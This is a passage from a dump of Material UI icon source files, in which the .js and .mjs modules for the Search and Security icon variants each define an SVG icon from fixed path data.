    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14\"\n}), 'SearchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SearchTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14\"\n}), 'SearchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SearchTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14\"\n}), 'SearchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Security.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm0 10.99h7c-.53 4.12-3.28 7.79-7 8.94V12H5V6.3l7-3.11z\"\n}), 'Security');"
  },
  {
    "path": "packages/mui-icons-material/lib/Security.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm0 10.99h7c-.53 4.12-3.28 7.79-7 8.94V12H5V6.3l7-3.11z\"\n}), 'Security');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm0 10.99h7c-.53 4.12-3.28 7.79-7 8.94V12H5V6.3l7-3.11z\"\n}), 'SecurityOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm0 10.99h7c-.53 4.12-3.28 7.79-7 8.94V12H5V6.3l7-3.11z\"\n}), 'SecurityOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.19 1.36-7 3.11C3.47 4.79 3 5.51 3 6.3V11c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V6.3c0-.79-.47-1.51-1.19-1.83l-7-3.11c-.51-.23-1.11-.23-1.62 0M12 11.99h7c-.53 4.12-3.28 7.79-7 8.94V12H5V6.3l7-3.11z\"\n}), 'SecurityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.19 1.36-7 3.11C3.47 4.79 3 5.51 3 6.3V11c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V6.3c0-.79-.47-1.51-1.19-1.83l-7-3.11c-.51-.23-1.11-.23-1.62 0M12 11.99h7c-.53 4.12-3.28 7.79-7 8.94V12H5V6.3l7-3.11z\"\n}), 'SecurityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecuritySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm0 10.99h7c-.53 4.12-3.28 7.79-7 8.94V12H5V6.3l7-3.11z\"\n}), 'SecuritySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecuritySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm0 10.99h7c-.53 4.12-3.28 7.79-7 8.94V12H5V6.3l7-3.11z\"\n}), 'SecuritySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3.19 5 6.3V12h7v8.93c3.72-1.15 6.47-4.82 7-8.94h-7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm0 19.93V12H5V6.3l7-3.11v8.8h7c-.53 4.12-3.28 7.79-7 8.94\"\n}, \"1\")], 'SecurityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3.19 5 6.3V12h7v8.93c3.72-1.15 6.47-4.82 7-8.94h-7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm0 19.93V12H5V6.3l7-3.11v8.8h7c-.53 4.12-3.28 7.79-7 8.94\"\n}, \"1\")], 'SecurityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdate.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 3v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2m12 15H7V6h10zm-1-6h-3V8h-2v4H8l4 4z\"\n}), 'SecurityUpdate');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdate.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 3v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2H7c-1.1 0-2 .9-2 2m12 15H7V6h10zm-1-6h-3V8h-2v4H8l4 4z\"\n}), 'SecurityUpdate');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateGood.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 17H7V6h10zm-1-7.95-1.41-1.41-3.54 3.54-1.41-1.41-1.41 1.41L11.05 15z\"\n}), 'SecurityUpdateGood');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateGood.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 17H7V6h10zm-1-7.95-1.41-1.41-3.54 3.54-1.41-1.41-1.41 1.41L11.05 15z\"\n}), 'SecurityUpdateGood');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateGoodOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10zm-1 6.05-1.41-1.41-3.54 3.54-1.41-1.41-1.41 1.41L11.05 15z\"\n}), 'SecurityUpdateGoodOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateGoodOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10zm-1 6.05-1.41-1.41-3.54 3.54-1.41-1.41-1.41 1.41L11.05 15z\"\n}), 'SecurityUpdateGoodOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateGoodRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 18H7V6h10zm-6.66-3.71c.39.39 1.02.39 1.41 0l3.54-3.54c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-2.83 2.83-.71-.71a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41z\"\n}), 'SecurityUpdateGoodRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateGoodRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 18H7V6h10zm-6.66-3.71c.39.39 1.02.39 1.41 0l3.54-3.54c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-2.83 2.83-.71-.71a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41z\"\n}), 'SecurityUpdateGoodRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateGoodSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 1v22h14V1zm12 17H7V6h10zm-1-7.95-1.41-1.41-3.54 3.54-1.41-1.41-1.41 1.41L11.05 15z\"\n}), 'SecurityUpdateGoodSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateGoodSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 1v22h14V1zm12 17H7V6h10zm-1-7.95-1.41-1.41-3.54 3.54-1.41-1.41-1.41 1.41L11.05 15z\"\n}), 'SecurityUpdateGoodSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateGoodTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 21h10v-1H7zM7 3v1h10V3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10zm-1 6.05-1.41-1.41-3.54 3.54-1.41-1.41-1.41 1.41L11.05 15z\"\n}, \"1\")], 'SecurityUpdateGoodTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateGoodTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 21h10v-1H7zM7 3v1h10V3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10zm-1 6.05-1.41-1.41-3.54 3.54-1.41-1.41-1.41 1.41L11.05 15z\"\n}, \"1\")], 'SecurityUpdateGoodTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zM7 4V3h10v1zm9 8-4 4-4-4 1.41-1.41L11 12.17V8h2v4.17l1.59-1.59z\"\n}), 'SecurityUpdateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zM7 4V3h10v1zm9 8-4 4-4-4 1.41-1.41L11 12.17V8h2v4.17l1.59-1.59z\"\n}), 'SecurityUpdateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 18H7V6h10zm-2.21-5.79H13V9c0-.55-.45-1-1-1s-1 .45-1 1v3.21H9.21c-.45 0-.67.54-.35.85l2.79 2.79c.2.2.51.2.71 0l2.79-2.79c.31-.31.09-.85-.36-.85\"\n}), 'SecurityUpdateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 18H7V6h10zm-2.21-5.79H13V9c0-.55-.45-1-1-1s-1 .45-1 1v3.21H9.21c-.45 0-.67.54-.35.85l2.79 2.79c.2.2.51.2.71 0l2.79-2.79c.31-.31.09-.85-.36-.85\"\n}), 'SecurityUpdateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 1v22h14V1zm12 17H7V6h10zm-1-6h-3V8h-2v4H8l4 4z\"\n}), 'SecurityUpdateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 1v22h14V1zm12 17H7V6h10zm-1-6h-3V8h-2v4H8l4 4z\"\n}), 'SecurityUpdateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 20h10v1H7zM7 3h10v1H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10zm-1 8h-3V8h-2v4H8l4 4z\"\n}, \"1\")], 'SecurityUpdateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 20h10v1H7zM7 3h10v1H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10zm-1 8h-3V8h-2v4H8l4 4z\"\n}, \"1\")], 'SecurityUpdateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateWarning.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 15h2v2h-2zm0-8h2v6h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 17H7V6h10z\"\n}, \"1\")], 'SecurityUpdateWarning');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateWarning.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 15h2v2h-2zm0-8h2v6h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1H7c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 17H7V6h10z\"\n}, \"1\")], 'SecurityUpdateWarning');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateWarningOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 15h2v2h-2zm0-8h2v6h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10z\"\n}, \"1\")], 'SecurityUpdateWarningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateWarningOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 15h2v2h-2zm0-8h2v6h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.01 7 1c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99M17 21H7v-1h10zm0-3H7V6h10zm0-14H7V3h10z\"\n}, \"1\")], 'SecurityUpdateWarningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SecurityUpdateWarningRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"16\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 13c.55 0 1-.45 1-1V8c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1H7c-1.1 0-1.99.9-1.99 2v18c0 1.1.89 2 1.99 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 17H7V6h10z\"\n}, \"2\")], 